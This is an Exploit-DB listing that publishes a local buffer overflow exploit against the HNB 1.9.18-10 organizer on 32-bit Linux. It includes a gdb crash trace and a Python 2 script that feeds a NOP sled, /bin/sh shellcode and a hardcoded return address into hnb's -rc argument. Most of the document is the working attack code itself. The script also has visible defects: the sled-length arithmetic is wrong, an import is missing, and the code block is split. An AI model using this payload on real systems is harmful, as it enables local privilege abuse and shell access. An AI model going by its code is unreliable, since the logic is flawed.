HNB 1.9.18-10 - Local Buffer Overflow

EDB-ID:
40025

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2016-06-27

Vulnerable App:

```
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: HNB - Organizer
# Version: 1.9.18-10
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  Hnb is an ncurses program to organize many
kinds of data in one place, for
# example addresses, todo lists, ideas, book reviews or to store snippets
of
# brainstorming.
# Kali Linux 2.0 package: pool/main/h/hnb/hnb_1.9.18-10_i386.deb
# MD5sum: 1e1ff680f6e94a1a28ca85eeb3ea6aa0
# Website:http://hnb.sourceforge.net/
#
# gdb$ run -rc `python -c 'print "A"*108'`
# Starting program: /usr/bin/hnb -rc `python -c 'print "A"*108'`
# *** buffer overflow detected ***: /usr/bin/hnb terminated
# ======= Backtrace: =========
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb7e14773]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7ea4b85]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb7ea2c3a]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb7ea2127]
# /usr/bin/hnb[0x8049669]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf3)
[0xb7dc1a63]
# /usr/bin/hnb[0x804a2d9]
# ======= Memory map: ========
# 08048000-0806e000 r-xp 00000000 08:01 2253992    /usr/bin/hnb
# 0806e000-0806f000 r--p 00025000 08:01 2253992    /usr/bin/hnb
# 0806f000-08070000 rw-p 00026000 08:01 2253992    /usr/bin/hnb
# 08070000-080b1000 rw-p 00000000 00:00 0          [heap]


import os, subprocess

def run():
  try:
    print "# HNB Organizer - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 108
    nopsled = "\x90"*40
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["hnb -rc",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, HNB File Viewer - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit HNB 1.9.18-10 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
```

```
    howtousage()
run()
```

Tags:

Advisory/Source: Link